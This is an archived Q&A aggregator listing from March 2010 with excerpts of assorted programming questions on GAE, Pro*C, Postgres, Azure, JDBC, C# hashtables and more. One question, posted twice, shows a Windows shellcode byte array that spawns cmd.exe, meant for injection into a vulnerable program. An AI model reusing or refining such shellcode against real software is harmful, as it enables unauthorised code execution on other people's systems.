Daily Archives

Articles indexed Thursday March 18 2010

Page 10/133 | < Previous Page | 6 7 8 9 10 11 12 13 14 15 16 17  | Next Page >

  • What is the length of time to send a list of 200,000 integers from a client's browser to an internet

    - by indiehacker
    Over the connections that most people in the USA have in their homes, what is the approximate length of time to send a list of 200,000 integers from a client's browser to an internet sever (say Google app engine)? Does it change much if the data is sent from an iPhone? How does the length of time increase as the size of the integer list increases (say with a list of a million integers) ? Context: I wasn't sure if I should write code to do some simple computations and sorting of such lists for the browser in javascript or for the server in python, so I wanted to explore this issue of how long it takes to send the output data from a browser to a server over the web in order to help me decide where (client's browser or app engine server) is the best place for such computations to be processed.

    Read the article

  • uitextview and sqlite3

    - by summer
    Hi guys, i would like to know whether is it possible to save the edited text in UITextView to sqlite3 by using a button?if so is there anywhere i can find the easiest way to do it?been googling but in vain..

    Read the article

  • GAE - Getting TypeError requiring class instance be passed to class's own method...

    - by Spencer Leland
    I'm really new to programming... I set up a class to give supporting information for Google's User API user object. I store this info in the datastore using db.model. When I call the okstatus method of my user_info class using this code: elif user_info.okstatus(user): self.response.out.write("user allowed") I get this error: unbound method okstatus() must be called with user_info instance as first argument (got User instance instead) Here is my user_info class. class user_info: def auth_ctrlr(self, user): if self.status(user) == status_allowed: return ("<a href=\"%s\">Sign Out</a>)" % (users.create_login_url("/"))) else: return ("<a href=\"%s\">Sign In or Get an Account</a>)" % (users.create_logout_url("/"))) def status(self, user): match = sub_user.gql(qu_by_user_id, user.user_id) return match.string_status def group(self, user): match = sub_user.gql(qu_by_user_id, user.user_id) grp = group_names.gql(qu_by_user_id, match.groupID) return grp def okstatus(self, user): match = self.status(user) if match == status_allowed: return True My understanding is that the argument "self" inside the method's calling arguments describes it as a child to the class. I've tried everything I can think of and can't find any related info online. Can someone please tell me what I'm doing wrong? Thanks

    Read the article

  • oracle's pro*C compiler and gnu C (__builtin_va_list, __attribute__, etc)

    - by Charles Ma
    I'm compiling a database library with pro*C which converts the .ppc library file to a .c file that gcc can use. However, I'm getting a lot of errors in pro*C like the following PCC-S-02201, Encountered the symbol "__ attribute__ " when expecting one of the following ... , Encountered the symbol "__builtin_va_list" when expecting one of the following The missing symbols are from a chain of standard includes like stdio.h and stdlib.h. How do I get around this issue? The library I'm compiling came from an old solaris system that we're now upgrading (to a new solaris 10 system) and the header files don't seem to use these symbols. e.g. the newer .h files has typedef __builtin_va_list va_list while the old .h files has typedef void* va_list There are a lot of things like this so I'm reluctant to go and fix all of them manually with a typedef

    Read the article

  • shellcode is trunced by \x20

    - by marcelo carvalho
    Dear Masters Why my shellcode is trunced after "\x20" opcode, when it is copied by string to stack on a second vulnerable program? --cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" <---only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--

    Read the article

  • Changing startup object of console application at runtime

    - by MicMit
    Assuming I've got several unrelated classes in separate files with a main method in each. Currently project is a console application and I just change a startup object in IDE to run respective main which instantiates respective class from IDE. Out of curiosity would it be possible to change the startup object dynamically at runtime somehow before launching this exe as an alternative of having this project as a class library and repeating code which I have in main(s) somewhere else.

    Read the article

  • Postgres user/role drop

    - by Grasper
    I am trying to drop a user: drop user testUser; I want to force this to work in a simple manner (Not a million calls)... How can I do this easily? I get this output: ERROR: role "testUser" cannot be dropped because some objects depend on it DETAIL: access to table main.tap_db_version access to table main.user_instance access to table main.target_type access to table main.status_code access to table main.state_space_profile access to table main.service_subscription access to table main.service_instance access to table main.sa_ordnance_weapon_type access to table main.operation access to table main.mission_class access to table main.map_symbol access to table main.ada_weapon_type access to table main.active_process access to table main.acft_type_00_only access to table main.abp_create_params access to table main.exercise access to table main.decl access to table main.data_set access to table main.cancellation_notice access to table main.ato_family_tree access to table main.apportionment_cat_cd access to table main.abp access to table main.alert_settings access to table main.alert_log access to table main.airspace_usage_category access to schema main access to view testUser.top_priority access to view testUser.target_ssm_msn_count access to view testUser.target_air_msn_count access to view testUser.sortie_sum access to view testUser.ref_info access to view testUser.preview_rmk_count access to view testUser.preview_pgm_las_count access to view testUser.preview_pgm_desi_count access to view testUser.preview_objective_count access to view testUser.preview_gfriend_count access to view testUser.preview_escort_msn_req access to view testUser.preview_chaff_data access to view testUser.preview_airmove_seg access to view testUser.preview_aircraft_total access to view testUser.offload_total access to view testUser.objective_count access to view testUser.fuel_planned access to view testUser.ew_data access to view testUser.dual access to view testUser.current_base_inventory access to view testUser.cell_total access to view testUser.asgn_sortie_sum access to view testUser.appor_sorties_planned access to view testUser.airmove_seg access to view testUser.aircraft_total access to view testUser.abp access to table testUser.req_msn_task access to table testUser.req_task_source_req access to table testUser.req_ssm_msn access to table testUser.req_ssm_source access to table testUser.req_msn access to table testUser.req_msn_warnings access to table testUser.req_air_msn access to table testUser.req_src_header access to table testUser.req_msn_ids access to table testUser.req_msn_comment access to table testUser.req_c2_msn access to table testUser.req_c2_source access to table testUser.req_ada_msn access to table testUser.req_ada_vertex access to table testUser.weather_forecast access to table testUser.weather_coords access to table testUser.weather_area access to table testUser.weapon_option access to table testUser.wag_activity access to table testUser.unit_remark access to table testUser.unit_location_turn access to table testUser.unit_iff access to table testUser.unit_coordination access to table testUser.unit_code access to table testUser.trace_point access to table testUser.tasking_agency access to table testUser.task_unit access to table testUser.target_type access to table testUser.tap_db_version access to table testUser.status_code access to table testUser.state_space_threat access to table testUser.state_space_profile access to table testUser.state_space access to table testUser.ssm_mission access to table testUser.spins_section_id access to table testUser.spins_codes access to table testUser.spins access to table testUser.unit_location access to table testUser.ship_target_request access to table testUser.service_subscription access to table testUser.service_instance access to table testUser.sa_ordnance_weapon_type access to table testUser.runway access to table testUser.restricted_codes access to table testUser.response_entity access to table testUser.residual_mission access to table testUser.request_objective access to table testUser.request and 194 other objects (see server log for list)

    Read the article

  • Update Azure Service Configuration File using Powershell

    - by David Osborn
    I'm trying to write a powershell script that updats each of the DiagnosticsConnectionString and DataConnectionString values below, but I can't seem to find each individual Role node using $serviceconfig.ServiceConfiguration.SelectSingleNode("Role[@name='MyService_WorkerRole']") doing echo $serviceconfig.ServiceConfiguration.Role lists out both Role nodes for me so I know it is working up to that point, but after that I am not having much success. where $serviceConfig contains the below XML: <?xml version="1.0"?> <ServiceConfiguration serviceName="MyService" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration"> <Role name="MyService_WorkerRole"> <Instances count="1" /> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" value="really long string" /> <Setting name="DataConnectionString" value="really long string 2" /> </ConfigurationSettings> </Role> <Role name="MyService_WebRole"> <Instances count="1" /> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" value="really long string 3" /> <Setting name="DataConnectionString" value="really long string 4" /> </ConfigurationSettings> </Role> </ServiceConfiguration>

    Read the article

  • Reusing a PreparedStatement multiple times

    - by Steel Plume
    Hello, in the case of using PreparedStatement with a single common connection without any pool, can I recreate an instance for every dml/sql operation mantaining the power of prepared statements? I mean: for (int i=0; i<1000; i++) { PreparedStatement preparedStatement = connection.prepareStatement(sql); preparedStatement.setObject(1, someValue); preparedStatement.executeQuery(); preparedStatement.close(); } instead of: PreparedStatement preparedStatement = connection.prepareStatement(sql); for (int i=0; i<1000; i++) { preparedStatement.clearParameters(); preparedStatement.setObject(1, someValue); preparedStatement.executeQuery(); } preparedStatement.close(); my question arises by the fact that I want to put this code into a multithreaded environment, can you give me some advice? thanks

    Read the article

  • Are the built-in images in iPhone documented, and is there a list of their names somewhere?

    - by Alex Gosselin
    I discovered somewhat by accident that if you make a UIButton in Interface Builder and type in Plus in the image field, a + image appears for the button. A similar result comes from typing Minus. I am wondering if this is a bug, or if there is some way the poor programmers can access the built-in general GUI images from other apple apps, such as the green +, the red -, the detail disclosure chevron, the big red "Delete Contact" or similarly styled button, etc. Has anyone else encountered this, or know where to access these things in Xcode? It makes sense to me that they should be usable, cause the Apple HIG seems to be all about making things recognizable and intuitive, and using them the way other apps use them.

    Read the article

  • Performance of Google Desktop Search on Windows 7

    - by RexE
    I have read that that installing Google Desktop Search on Vista can slow down the computer because Vista already has a search indexing feature, and adding Google's separate indexing feature results in a performance hit. (Google hints at this in their FAQ here.) Does this problem also exist in Win 7? Is there a workaround that improves performance?

    Read the article

  • retrieve value from hashtable with clone of key; C#

    - by Johnny
    I would like to know if there is any possible way to retrieve an item from a hashtable using a key that is identical to the actual key, but a different object. I understand why it is probably not possible, but I would like to see if there is any tricky way to do it. My problem arises from the fact that, being as stupid as I am, I created hashtables with int[] as the keys, with the integer arrays containing indices representing spatial position. I somehow knew that I needed to create a new int[] every time I wanted to add a new entry, but neglected to think that when I generated spatial coordinate arrays later they would be worthless in retrieving the values from my hashtables. Now I am trying to decide whether to rearrange things so that I can store my values in ArrayLists, or whether to search through the list of keys in the Hashtable for the one I need every time I want to get a value, neither of the options being very cool. Unless of course there is a way to get //1 to work like //2! Thanks in advance. static void Main(string[] args) { Hashtable dog = new Hashtable(); //1 int[] man = new int[] { 5 }; dog.Add(man, "hello"); int[] cat = new int[] { 5 }; Console.WriteLine(dog.ContainsKey(cat)); //false //2 int boy = 5; dog.Add(boy, "wtf"); int kitten = 5; Console.WriteLine(dog.ContainsKey(kitten)); //true; }

    Read the article

  • Is it true that one should not use NSLog() on production code?

    - by jpm
    I was told this a few times in this very site, but I wanted to make sure this is really the case. I was expecting to be able to sprinkle NSLog function calls throughout my code, and that Xcode/gcc would automatically strip those calls out when building my Release/Distribution builds. Should I avoid using this? If so, what alternatives are most common between experienced Objective-C programmers?

    Read the article

  • msbuild slower than devenv

    - by Simone
    Hi, I'm experiencing performance inconsistencies with regards to build duration when building a VS2008 solution file with either devenv or msbuild from command line. My solution contains both C# and C++ projects, and I have these results: devenv.exe (either command line or within the ide): 7 minutes msbuild.exe: 14 minutes I tried tuning the msbuild switches passing /maxcpucount and /p:VCBuildAdditionalOptions=m# but with no luck so far. Any idea?

    Read the article

  • MDX: Aggregates over a set

    - by =!3fb7.13e2.c801.b5f3
    Hi! What I am trying to achieves looks very simple, yet I cannot make it work. My facts are orders which have a date and I have a typical time dimension with the 'Month" and 'Year' levels. I would like to get an output which lists the number of orders for the last 6 months and the total, like this: Oct 2009 20 Nov 2009 30 Dec 2009 25 Jan 2009 15 Feb 2010 45 Mar 2010 5 Total 140 I can create the set with the members Oct 2009 until Mar 2010 and I manage to get this part of my desired output: Oct 2009 20 Nov 2009 30 Dec 2009 25 Jan 2009 15 Feb 2010 45 Mar 2010 5 Just I fail to get the total line.

    Read the article

  • shellcode is truncated by \x20

    - by marcelo carvalho
    Why is my shellcode is truncated after \x20 opcode, when it is copied by string to stack on a second vulnerable program? --cmd.exe-- char shell[]= "\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space "\xc7\x44\x24\x08\x63\x6d\x64\x2e" "\x31\xc0" "\x89\x44\x24\x04" "\x8d\x44\x24\x08" "\x89\x04\x24" "\x8d\x05\xad\x23\x86\x7c" "\xff\xd0"; --end shell--

    Read the article

  • Dynamically pulling images from XML for iPhone App

    - by Simon Hume
    I've got my iPhone app pulling down live data content via XML nicely, and I've formatted the UITableView cells to display the content without too many headaches. However, at the moment, for each cell I'm just showing a default graphic for now, but I want this to be pulled down from my server too. The code snippet that grabs the image (which is actually in my project) is: cell.imageView.image = [UIImage imageNamed:@"TBC.png"]; But that will need to be the dynamic image. In my XML, am I better just returning 'mypic.png' and let the SDK determine the full path, like http://myapp.com/mypic.png or storing the full URL to the image in the XML?

    Read the article

  • scala Slider throws casting exception

    - by coubeatczech
    hello, I create an Slider object: val slider = new Slider{ min = 0 max = 30 labels = Map(0 -> new Label("Nula"),15-> new Label("Pul"),30-> new Label("Max")) paintLabels = true } when I run this, an exception is thrown: scala.swing.Label cannot be cast to java.awt.Component but why? When i browse the docs, the excpected type for labels is a Map[Int,Label].

    Read the article

< Previous Page | 6 7 8 9 10 11 12 13 14 15 16 17  | Next Page >